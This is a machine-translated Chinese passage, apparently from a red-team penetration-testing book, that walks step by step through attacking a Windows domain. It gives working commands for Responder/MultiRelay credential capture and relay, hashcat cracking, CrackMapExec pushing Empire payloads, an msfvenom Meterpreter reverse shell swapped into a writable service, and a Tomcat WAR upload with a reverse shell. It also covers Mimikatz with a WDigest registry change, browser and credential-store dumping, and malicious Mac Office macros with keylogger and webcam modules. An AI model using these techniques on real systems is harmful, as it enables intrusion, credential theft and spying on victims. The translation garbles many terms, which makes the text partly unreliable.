cd /opt/Responder ./Responder.py -I eth0 –wrf现在,因为咱们处于 Windows 的企业环境中,咱们可以假设它很可能正在运行 Active Directory(行径目次)。因此,如果咱们能够响应来自受害者主机的 DNS 查找央求,咱们就可以使他们的系统结合到咱们的 SMB 分享做事。由于它们正在结合到 \cyberspacekittenssecretdrive 驱动器,因此咱们强硬制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份考证。咱们拿获的这些凭证不是顺利的 NTLM 哈希,而是 NTLM 央求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一瑕疵是,破解它们的速率要比普通的 NTLM 哈希表要慢得多,但是比较于咱们要进行的大型凭证爆破动作来说,这不是一个大费劲。
咱们可以获取 NTLMv2哈希,将其传递给土产货的 hashcat 范例破解此密码。在 hashcat 中,咱们需要指定散列时势 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。
hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*现在,假设咱们并不是真的想破解哈希,或者咱们不在意提醒用户有一些值得可疑的地方。咱们所能作念的是强制一个基自己份考证弹出窗口,而不是采取 -F(ForceWpadAuth)和 -b(basic auth)的要求使用 Net-NTLMv2凭证。
python ./Responder.py -I eth0 -wfFbv从上头的图像中可以看到,用户将被教唆输入用户名和密码,大多数东说念主只是践规踏矩的按教唆输入。一朝他们提交了他们的用户名和密码,咱们将能够拿获他们的密码明文!
更好的 Responder(MultiRelay.py)使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的期间可能很长。更糟糕的是,咱们所处的环境中的料理员的密码可能是20多个的字符。那么,在这些情况下咱们能作念什么呢?如果所处环境不彊制实行 SMB 签名( 咱们可以通过快速的 nmap 剧本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ),咱们可以使用一个微妙的小技巧来重新播放拿获的 SMB 央求。
Laurent Gaffie 在 Responder 中加入了一个处理身份考证重放攻击的器具。根据 Laurent 的网站神态,MultiRelay 是一个坚强的浸透测试实用范例,包含在响应范例器具的文献夹中,使你能够在遴选的宗旨上实行宗旨 NTLMv1 和 NTLMv2 中继器。面前也曾杀青多中继将 HTTP、WebDav、代理和 SMB 身份考证传递给 SMB 做事器。这个器具可以定制为接受一系列用户账户信息来中继到一个宗旨。这背后的主张是只针对域料理员、土产货料理员或特权帐户。”[-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html]
从较高的层面来看,MultiRelay 不会强制受害者对咱们的 SMB 分享进行身份考证,而是将任何含有身份考证的央求转发给咱们遴荐的受害者主机。天然,中继用户需要有另一台机器的拜谒权限;如果攻击得胜,咱们不需要处理任何密码和哈希破解。首先,咱们需要建立咱们的 Responder 和 MultiRelay:
裁剪 Responder 建立文献以禁用 SMB 和 HTTP 做事器 裁剪 Responder.conf 将 SMB 和 HTTP 变调为 Off 最先 Responder python ./Responder.py -I eth0 -rv 在一个新的结尾窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL一朝可以杀青通过中继结合到受害者主机,咱们就需要研究要在受害者的主机上实行什么操作。默许情况下,MultiRelay 可以生成一个比较基础的 shell,但咱们也可以自动实行 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 剧本(用于下载和实行 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试文娱。
参考文献
-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder一朝咱们攻击进了 Windows 系统,咱们就可以在受害者机器上使用 PowerShell 进行 Responder 攻击。原始 Responder 的两个功能皆可以通过以下两个器具实行:
Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay更简单的是,这一切皆也曾集成在 Empire 中了。
莫得凭证的用户陈列一朝进入了内网中,咱们可以使用 Responder 来得到凭证或 shell,但有时也会发现同期启用 SMB 签名和破解 NTLMv2 SSP 是莫得实质进展的。那即是咱们退一步,从更基础的最先。在不主动扫描辘集的情况下,咱们需要得到一个用户列表(可能是用于密码爆破,以致是内网垂钓)。
一种遴荐是最先针对域控制器陈列用户。如果是早些时候(回到2003年),咱们可以尝试实行 RID 轮回来得到扫数用户帐户的列表。固然现在不可用了,但爆破帐户还有其他遴荐。一种遴荐即是利用 Kerberos:
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt咱们将需要提供一个要测试的用户名列表,但是由于咱们只是查询 DC(域控制器)而莫得对其进行身份考证,因此日常此行动不会被检测。现在,咱们可以采取这些用户帐户,并再次最先密码猜解!
使用 CrackMapExec(CME)扫描辘集如果咱们还莫得得胜入侵进一个系统,但是咱们确乎通过 Responder、造作建立的 Web 应用范例、暴力破解或通过打印机得到了登录凭证,那么咱们可以尝试扫描辘集,望望这个帐户可以登录到那儿。使用像 CrackMapExec(CME)这样的器具进行简单的扫描可以匡助找到里面辘集上的开动进口点。
往常,咱们使用 CME 扫描辘集、通过辘集上的 SMB 进行符号/身份考证、对许多主机长途实行敕令,以致通过 Mimikatz 索要明证书证。Empire 和 CME 皆领有了一些新本性,咱们可以利用 Empire 的 REST 本性。鄙人面的场景中,咱们将使用其 REST API 启动 Empire,在 CME 中建立密码,让 CME 结合到 Empire,使用咱们领有的单一凭证扫描辘集,临了,如果得胜完成身份考证,则自动将 Empire 的 payload 推送到长途受害者的系统。如果你有一个 helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧!
启动 Empire 的 REST API 做事器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 变调 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后当你通过社会工程、drop box、Responder、攻击打印机或通过其他攻击得到对主机的拜谒权限后,下一步要作念什么?这是一个相称要紧的问题。
在往常,你需要作念的一切,是了解你身在何处和邻近的辘集环境。咱们可能首先运行近似于“netstat -ano”的敕令来查找受害者的做事器、域和用户的 IP 范围的位置。咱们还可以运行敕令,如 ps 或 sc queryex type= service state= all | find “_NAME” 列出扫数正在运行的做事,并寻找杀毒软件或其他主机基础保护。底下是一些咱们首先可能运行的其他示例敕令:
辘集信息:
netstat -anop | findstr LISTEN net group “Domain Admins” /domain进程列表:
tasklist /v系统主机信息:
sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn简单的文献搜索:
dir /s password findstr /s /n /i /p foo * findstr /si pass *.txt | *.xml | *.ini来自分享/挂载驱动器的信息:
powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName”让咱们现实一丝,莫得东说念主有期间记着扫数的敕令,但是咱们很行运!我相信,我相信咱们可以在一个名为 RTFM.py 的器具中缩小搜索到这些敕令,这是 @leostat 基于 RTFM 册本(很棒的资源)创建的一个快速查询的 Python 剧本,其中包含多数这些浅显的敕令。
更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索扫数标签 ./rtfm.py -Dt 稽查每个标记的扫数查询/敕令。我可爱用的一个是陈列类 ./rtfm.py -t enumeration | more现在,RTFM 相称平庸,有许多不同的有用敕令。这是一个络续快速更新的优秀的资源。
这些皆是咱们为了获取信息而一直在作念的事情,但是如果咱们能从环境中得到更多呢?使用 PowerShell,咱们可以得到所需的辘集和环境信息。任何接济 C2 的器具皆能缩小实行 PowerShell ,因此可以使用 Empire、Metasploit 或 Cobalt Strike 来实行这些操作。鄙人面的例子中,咱们将使用 Empire ,你也可以尝试其他器具。
权限提高从普通用户到高权限帐户有许多不同的方式。
未被援用做事旅途:
这是一个格外简单和常见的缺点,其中做事可实行旅途莫得被引号括起来。这是很容易被利用的,因为如果旅途周围莫得引号,咱们就会利用当前做事。假设咱们有一个做事被建立为实行 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果咱们有 CK 文献夹的写入权限,咱们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(珍爱,原称呼中的 Kittens.exe 消逝了)的坏心软件。如果做事在系统上运行,咱们可以比及做事重新启动,并让咱们的坏心软件作为一个 system 帐户运行。 如何找到易受攻击的做事旅途: 通过 wmic 做事获取称呼、珍爱 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows" | findstr /i /v """ 寻找 BINARY_PATH_NAME查找做事中存在的不安全的注册表权限:
识别允许更新做事映像旅途位置的弱权限账户检讨 AlwaysInstallElevated 注册表项是否已启用:
检讨 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文献应以较高的权限 ( NT AUTHORITY\SYSTEM ) 安设 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb请珍爱,咱们并不需要手动完成这些操作,因为别东说念主也曾创建了一些好的 metasploit 和 PowerShell 模块,至极是针对 Windows 的模块。鄙人面的示例中,咱们将稽查 PowerUp PowerShell 剧本。在这种情况下,剧本与 Empire 全部在扫数常见的造作建立区域运行查找,比如允许普通用户得到土产货料理或系统帐户。鄙人面的示例中,咱们在受害者系统上运行这个范例,发现它有一些土产货系统的未援用做事旅途。现在,咱们可能无法重新启动做事,但咱们应该能够利用这个缺点,恭候做事重启。
Empire PowerUp 模块: usermodule privesc/powerup/allchecks最杰出的是:
ServiceName: WavesSysSvc Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference: Everyone StartName: LocalSystem看起来任何东说念主皆可以编写 WavesSysSyc 做事。这意味着咱们可以将 WaveSysSvc64.exe 文献替换为咱们我方的坏心二进制文献:
创建一个 Meterpreter 二进制文献(后续的著述将磋磨如何绕过杀毒软件) msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文献并替换原始二进制文献 upload ./shell.exe C:\users\test\shell.exe shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe” 重新启动做事或恭候其重启一朝做事重新启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 剧本,你将发现许多不同的做事皆会有权限提高的可能性。如果你想深入了解 Windows 权限提高的底层问题,请稽查 FuzzSecurity 的著述: 。
对于未打补丁的 Windows 系统,咱们确乎有一些权限升级攻击,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),但是咱们如何快速识别宗旨系统上安设了哪些补丁呢,咱们可以在受害者系统上使用系统默许自带的敕令来稽查安设了哪些系统补丁包。Windows 自带默许敕令systeminfo 将索要任何给定的 Windows 主机的扫数补丁安设历史记载。咱们可以拿回这个输出结果,将其复制到咱们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的缺点然后针对性的进行缺点利用从而提高权限。
回到你攻击的 Windows 10系统:
systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 诬捏机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls这个器具也曾有一段期间莫得被爱戴了,但是你如故可以缩小地从中寻找到你正需要的能权限提高的缺点。
如果咱们处在一个也曾打好扫数补丁的 Windows 主机环境中,咱们将要点关注第三方软件中的不同权限提高缺点或操作系统的任何 0day 缺点。举例,咱们一直在寻找底下这样的缺点 ,这是 Windows 中的权限升级缺点,现在还莫得修补。日常在这些场景中,可能会有一些基本的 POC 代码,但是咱们需要测试、考证并屡次复现这个缺点。咱们日常监控某些领域存在全球特权升级的缺点:
?q=privilege escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids日常,这只是期间问题。举例,当发现缺点时,这可能是你在系统打好补丁之前进一步碎裂系统有限的好契机。
权限提高实验测试并尝试不同类型的权限升级缺点的最好实验环境是 Rapid7的 Metasploitable3。这个充满缺点的框架会自动生成一个 Windows 诬捏机,其中包含扫数常见的和不常见的缺点。建立需要一丝期间,但是一朝建立好了诬捏机,它即是一个相称棒的实验环境。
让咱们来看一个简单的例子,然后快速最先:
使用 nmap 扫描 Metasploitable3 诬捏机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 关联的缺点 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会珍爱到你不可得到 system 权限,因为你所利用的做事未作为特权程度运行。这时,你能作念到的即是尝试扫数不同的权限提高攻击。 其中,咱们看到的一件事是,Apache Tomcat 是作为特权程度运行的。如果咱们可以利用这个做事,咱们就可以将咱们的 payload 作为更高眉目的做事运行。咱们看到 Apache Tomcat 在外部辘集的8282端口运行,但它需要用户名和密码。因为咱们有一个土产货低权限的 shell,咱们可以尝试在磁盘上搜索这个密码。咱们可以在谷歌搜索“Tomcat密码存储在那儿”,搜索结果表明:“tomcat-users.xml”。 在受害者机器中,咱们可以搜索和读取 tomcat-users.xml 文献: shell cd \ && dir /s tomcat-users.xml type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml 现在让咱们使用找到的密码攻击 Tomcat。首先,登录到8282端口上的 Tomcat 料理控制台,并稽查咱们的密码是否有用。然后,咱们可以使用 Metasploit 通过 Tomcat 部署坏心的 WAR 文献。 search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。咱们利用第三方的器具(tomcat)来提高权限到 system 权限。 从内存中索要明证书据Mimikatz 自推出以来,就改变了在浸透入侵中获取明文密码的方式。在 Windows 10之前,以土产货料理员的身份在主机系统上运行 Mimikatz 的话是允许攻击者从 lsass(土产货安全机构子系统做事)中索要明文密码的。这种方法在 Windows 10 出现之前相称有用,而在 windows 10 中,即使你是土产货料理员,也无法顺利读取它。现在,我看到了一些奇怪的表象,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 程度中让 Mimikatz 读取,但是咱们现在先忽略这个。在这一章中,咱们将磋磨当这件方法(指 SSO 和特殊的软件)不责任时该作念什么(比如在 Windows 10系统中)。
假设你攻击了 Windows 10系统的主机何况提高权限了,默许情况下,你将治愈 Mimikatz 的建立,并根据底下的查扣问看到密码字段为空。
那么你能作念什么呢?最简单的选项是成立注册表项以让系统将密码凭证保存到 LSASS 程度。在 HKLM 中,有一个 UseLogonCredential 成立,如果成立为0,系统将在内存中存储凭证( ):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中,咱们可以通过 shell 敕令运行: shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f这个注册表修改的问题即是需要用户重新登录到系统。你可以让宗旨机器屏幕锁屏、重新启动或刊出用户,以便你能够拿获然后再次发送凭证文本。最简单的方法是锁定他们的责任机器(这样他们就不会丢失他们确当前的责任...望望我有多好!)。要触发锁屏:
rundll32.exe user32.dll,LockWorkStation一朝咱们锁定屏幕,并让它们重新登录,咱们就可以重新运行 Mimikatz 来得到明文密码。
如果咱们无法提高到土产货料理帐户若何办?咱们还有哪些其他方法可以得到用户的凭证?在往常,一个常见的浸透攻击是在客户机的用户空间内存中稽查凭证是否以明文时势存储。现在一切皆是基于浏览器的,咱们能在浏览器中作念相似的事情吗?
在这里,putterpanda 将和一个很酷的 POC 器具在全部来完成这个任务,称为 Mimikittenz。Mimikittenz 所作念的即是利用 Windows 函数 ReadProcessMemory()来索要来自多样宗旨程度(如浏览器)的密码,并输出纯文本。
Mimikitten 接济 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 做事、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索抒发式也很容易。
这个器具最好的地方在于它不需要土产货料理员权限,因为他只需要拜谒那些用户自己创建的程度。一朝咱们攻击进了主机,咱们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 剧本。
正如上头所看到的,用户通过 Firefox 登录到 Github 中,咱们可以从浏览器内存中索要他们的用户名和密码。现在,我但愿这本书的读者皆能把这个器具用的越来越高等,为不同的应用范例创建更多的搜索查询。
从 Windows 凭证料理器和浏览器获取密码Windows 凭证料理器是 Windows 的默许功能,用于保存系统、网站和做事器的用户名、密码和证书。记不记安妥你使用 Microsoft IE/EDGE 对网站进行身份考证后,日常会弹出一个弹出窗口,研究“是否要保存密码?”凭证存储即是存储这些信息的地方,在凭证料理器中,有两种类型的凭证:Web 和 Windows。你还紧记哪个用户有权拜谒这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对咱们来说是很好的,就像任何垂钓网站或代码实行一样,咱们日常皆可以用别的方法得到阿谁用户的权限。最好的一丝是,咱们以致不需要成为土产货料理员来索要这些数据。
如何索要这些信息呢?咱们可以使用两种不同的 PowerShell 剧本导入以汇集此数据:
汇集辘集凭证: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 汇集 Windows 凭证(只汇集通用的而不是宗旨域特有的): https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1从上图中可以看到,咱们索要了他们的 Facebook 存储的凭证和任何他们领有通用的凭证。记着,对于 Web 凭证,Get-WebCredentials 只可从 Internet Explorer/Edge 获取密码。如果咱们需要从 Chrome 获取,咱们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,首先需要终止 Chrome 程度,然后运行 ChromeDump,临了,我可爱拉取下载扫数的浏览器历史和 cookies。 咱们不仅可以了解他们的里面做事器的多数信息,而且,如果他们的会话仍然存在,咱们也可以使用他们的 cookies 和身份考证,而不必知说念他们的密码!
使用如下 PowerShell 剧本:https://github.com/sekirkity/browsergather ,咱们可以索要扫数浏览器 cookies,并通过咱们的浏览器利用这些 cookies,但是扫数这些 cookies 皆莫得提高权限的功能。
接下来,咱们以致可以最先在受害者系统上可能安设的扫数第三方软件中寻找做事器和凭证。一个叫作念 SessionGopher 的器具可以从 winscp、putty、superputty、filezilla 和 microsoft 长途桌面获取主机名和保存密码。还有一个其他功能是能够从辘集上的其他系统长途获取它的土产货凭证,启动 sessiongopher 的最简单方法是导入 PowerShell 剧本并实诈欺用:
Load PowerShell File: . .\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough咱们可以通过以下几种方式从主机系统获取凭证,而无需提高权限、绕过 UAC 或使用键盘记载器。因为咱们是在用户的系统会话中,是以咱们可以拜谒主机上的许多资源,以匡助咱们陆续攻击。
从 OSX 获取土产货凭证和信息本书内的大部分横向解析麇集在 Windows 上。这是因为险些扫数中大型环境皆使用 Active Directory 来料理其系统和主机。咱们每年皆能看到越来越多的 Mac 电脑,是以但愿本书的内容也稍带说起一下 MAC。一朝进入一个 MAC 主机的内网环境,许多攻击就近似于在 Windows 主机环境中的攻击(即扫描默许凭证、Jenkin 等应用范例攻击,嗅探辘集,并通过 SSH 或 VNC 横向出动)。
有多个浸透攻击框架的 payload 接济 Mac,我最可爱的是使用 Empire。Empire 可以生成多个 payload 来诱拐受害者实行咱们的代理,其中包括 Ducky scripts、二进制可实行范例、Office 宏、Safari 启动范例、pkg 安设包等等。举例,咱们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏:
打开 Empire 首先,确保你能像咱们在本书的伊始所作念的那样成立你的 Empire 监听器 接下来,咱们需要构建一个 OSX 宏的 payload 成立要写入土产货文献系统的输出文献 生成 Payload如果你稽查生成的 Office 宏,你将看到它只是由 Python 实行的 Base64代码。行运的是,Python 是 Mac 上的默许应用范例,当实行这个宏时,咱们应该得到 agent beacon。
要在 Mac 中创建坏心 Exce l文献,咱们可以打开一个新的 Excel 责任表,转到“器具”,稽查宏,然后在此责任簿中创建宏,一朝 Microsoft Visual Basic 打开,就删除扫数当前代码并将其替换为扫数新的宏代码。临了,将其保存为 XLSM 文献。
现在,把你的坏心文献发送给你的宗旨攻击者,看着 Empire 大展神威。在受害者那边,一朝他们打开 Excel 文献,就会出现这样的情况:
确保创建了一个合理的情形,让他们单击“启用宏”。
一朝你的代理结合回你的 Empire 做事器,接下来的操作和侦察阶段就相称相似了。咱们需要:
转储浏览器信息和密码:usemodule collection/osx/browser_dump启用键盘记载器:
usemodule collection/osx/keylogger让应用范例教唆获取密码:
usemodule collection/osx/prompt长久打开电脑录像头拍照:
usemodule collection/osx/webcam利用 Windows 域环境的土产货应用范例进行攻击
相似,鄙人面的示例中,咱们将使用 PowerShell Empire。天然,你还可以使用 Metasploit、Cobalt Strike 等近似的攻击框架进行相通的攻击。只须你有智商将 PowerShell 剧本导入内存,何况能够绕过主机系统的任何防护,用什么其实并不要紧。
现在的你也曾完全空置了受害者的主机,从他们的责任东机偷走了扫数的奥密,还了解一些受害者浏览的网站,并运行了一些近似 netstat 的敕令进行侦察责任...那接下来是什么?
对于红队队员来说,果真的问题是找到关联做事器、责任站、用户、做事以及他们的 Active Directory 环境的可靠信息。在许厚情况下,由于受到辘集警报和被抓获的风险,咱们无法运行任何缺点扫描操作,以致无法运行 NMAP 扫描。那么,咱们如何利用辘集和做事的“本性”来查找咱们需要的扫数信息?
Service Principal Names(处当事人体称呼)处当事人体称呼(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地符号做事的实例。Kerberos 身份考证使用 SPN 将服求实例与做事登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。举例,你可以在那些运行 MSSQL 做事器、HTTP 做事器、打印做事器和其他做事器的做事帐户找到一个用于做事的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的要紧部分。这是因为任何域用户帐户皆可以查询与 Active Directory 关联的扫数做事帐户和做事器的 AD。咱们可以在不扫描单个主机的情况下识别扫数数据库做事器和 Web 做事器!
作为一个攻击者,咱们可以利用这些“本性”来查询 Active Directory。在职何也曾加入域的策动机上,攻击者皆可以运行 setspn.exe 文献来查询 Active Directory(AD)。此文献是扫数 Windows 机器默许自带的 Windows 二进制文献。
setspn -T [DOMAIN] -F -Q / 功能 -T = 对指定域实行查询 -F = 在 AD 环境而不是域级别环境实行查询 -Q = 在每个宗旨域或林环境上实行 / = 夸耀扫数咱们可以从 setspn 中看到什么类型的信息?底下,运行 setspn 敕令,咱们会看到一些在域控制器上运行的做事的信息,还关联于责任站的信息,咱们还找到了一个名为 csk-github 的做事器。在这个做事器中,咱们可以看到在主机上运行着一个 HTTP 做事。如果这些相通的左券运行在不同的端口上的话,这些信息也会被列出。
setspn 不仅提供关联做事用户和扫数主机名的有用信息,它以致也会告诉咱们哪些做事正在系统上什么端口上运行。如果咱们可以顺利从 AD 中获取做事以致端口的大部分信息,那为什么咱们还需要扫描辘集?咱们可能立地攻击的东西是什么?Jenkins? Tomcat? ColdFusion?
查询 Active Directory我不知说念也曾有几许次,好阻扰易找到了一个域用户帐户和密码,却被见告它只是一个莫得其他特权的域用户帐户,但无谓缅想。咱们日常可以在打印机,分享信息责任站,带有做事密码的文本文献,建立文献、iPad、包含密码的 Web 应用范例的页面源代码中中找到这些类型的帐户,但是,对于这些莫得其他构成员阅历的基本域用户帐户,你可以用来作念什么?
获取关联 AD 顶用户的详实信息
咱们可以使用 @harmj0y 创建的名为 PowerView 的器具来帮咱们完成扫数的复杂的查询操作。PowerView 是一个 PowerShell 剧本,用于在 Windows 域上得到辘集拓扑信息。它包含一组纯 PowerShell 敕令替换项,用于多样 Windows 系统中的 net敕令,这些敕令使用 PowerShell AD hooks 和基础的 Win32 API 函数来实行有用的 Windows 域功能[] 。作为攻击者,咱们可以使用 AD 中低权限用户普通的域用户来利用 PowerView 和 PowerShell 查询 AD(行径目次),以致不需要土产货料理员权限。
让咱们通过一个例子来说明咱们可以从这个低权限用户那里得到几许数据。在一最先,咱们也曾在运行 Empire(你可以在 Metasploit、Cobalt Strike 或近似软件皆可以),并在受害者系统上实行了 payload。如果你以前从未建立过 Empire,请稽查关联建立 Empire 和 Empire payload 的成立章节。一朝咱们的代理(agent)与咱们的敕令和控制做事器通讯,咱们就可以键入 info 以查找关联受害者的信息。在本例中,咱们也曾攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。
接下来,咱们但愿在不引起太多怀疑和珍爱的情况下从域中查询信息,咱们可以使用 Empire 里面的 PowerView 器具来获取信息。PowerView 查询域控制器(DC)以获取关联用户、用户组、策动机等的信息。咱们这次使用 PowerView 将只用来查询域控制器,何况使它看起来像正常通讯。
Empire 下有哪些模块可用于信息汇集呢?
咱们可以从 PowerView 剧本的 get_user 的函数名最先。获取指定域中指定查询用户的信息。通过使用默许成立,咱们可以获取关联 AD 顶用户的扫数信息以及联系信息的转储。
Module: situational_awareness/network/powerview/get_user
在上头的转储文献中,咱们可以看到对于其中一个用户 purri gagarin 的信息。咱们得到了什么类型的信息?咱们可以看到他们的 sAMAccountName 或用户名,当他们的密码被变调时,看到他们的对象类别是什么,他们是什么权限组的成员,临了登录的期间是什么,等等。使用这个基本的用户转储,咱们可以从目次做事中得到多数的信息。咱们还能得到什么样的信息呢?
Module: situational_awareness/network/powerview/get_group_member
get-group-member 复返给特定组的成员,并遴荐“recurse”以查找扫数有用的组内成员。咱们可以使用 AD 来查找特定组的特定用户。举例,使用以下 Empire 的成立,咱们可以搜索属于域料理组的扫数域料理员和组:
info set Identity “Domain Admins” set Recurse True set FullData True execute现在,咱们有一个用户、组、做事器和做事的汇集列表。这将匡助咱们了解哪些用户领有哪些特权。但是,咱们仍然需要关联责任站和系统的详实信息。这可能包括版块、创建日历、用途、主机名等。咱们可以用一个叫作念 get_computer 的模块来得到这些信息。
Module: situational_awareness/network/powerview/get_computer
神态:get_computer 模块可以查询域中当前的策动机对象。
get_computer 查询域控制器可以得到什么信息呢?好吧,咱们看到咱们可以得到对于机器的信息,比如当它被创建时的 DNS 主机名,自界说称呼等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版块。在这种情况下,咱们可以看到这个系统是 Windows 10 Build 16299版块。咱们可以通过获取这些信息,了解操作系统的最新版块以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。
Bloodhound/Sharphound咱们如何利用在侦察阶段汇集的扫数信息来创建一条攻击线路呢?咱们如何能够缩小、快速地得知谁有权限去调用那些功能?追忆一下,咱们老是试图顺利攻击,让一切皆达到咱们想要的目的,但这老是会增多被收拢的可能性。
Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 也曾创造了一种最好的器具,那即是 Bloodhound/Sharphound。在他们的 Github 页面上夸耀。“Bloodhound/Sharphound 使用图表表面来揭示 Active Directory 环境中躲避的、出乎意象的关系。攻击者红队可以使用 Bloodhound 缩小识别高度复杂的攻击旅途,不然的话将无法快速识别。驻守者蓝队可以使用 Sharphound 来识别和排斥对应的的攻击旅途。”[https://github.com/BloodHoundAD/BloodHound] 。
Bloodhound/Sharphound 的责任旨趣是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(近似于咱们以前手奇迹念的)。然后,Ingestor 将尝试结合到每个系统以陈列登录的用户、会话和权限。天然,这个动静会很大。对于采取默许成立(可以修改)的中型企业网站,结合到每个主机系统和使用 Sharphound 查询信息的期间可能不到10分钟。珍爱,因为这会战争到辘集上每个加入域的系统,是以它可能会让你被发现。Bloodhound/Sharphound 中有一个奥密选项,它只查询 Active Directory,不结合到每个主机系统,但是输出结果相称有限。
面前有两种不同的版块(我相信旧版块很快就会被移除):
在 Empire,你可以使用模块: usemodule situational_awareness/network/bloodhound 这仍然是查询相称慢的旧的 PowerShell 版块 最好的遴荐是 Sharphound,Sharphound 是最原始的 C# 版块 Bloodhound Ingester。这是个更快更平定的版块。可以用作孤独二进制文献,也可以作为 PowerShell 剧本导入。Sharphound PowerShell 剧本将使用反射和 assembly.load 加载已编译 BloodHound C# 版块的 ingestor 并将其拿获。 https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个麇集方法:
Group - Collect group membership information 汇集构成员身份信息 LocalGroup - Collect local admin information for computers 汇集策动机的土产货料理信息 Session - Collect session information for computers 汇集策动机的会话信息 SessionLoop - Continuously collect session information until killed 持续汇麇集话信息直到闭幕 Trusts - Enumerate domain trust data 列举域内信任数据 ACL - Collect ACL (Access Control List) data 汇集ACL(拜谒控制列表)数据 ComputerOnly - Collects Local Admin and Session data 汇集土产货料理和会话数据 GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects) 使用GPO(组策略对象)汇集土产货料理信息 LoggedOn - Collects session information using privileged methods (needs admin!) 使用特权方法汇麇集话信息(需要料理员权限!) ObjectProps - Collects node property information for users and computers 为用户和策动机汇集节点属性信息 Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts 汇集构成员、土产货料理员、会话和域信任关系在宗旨系统上运行 Blood/Sharphound:
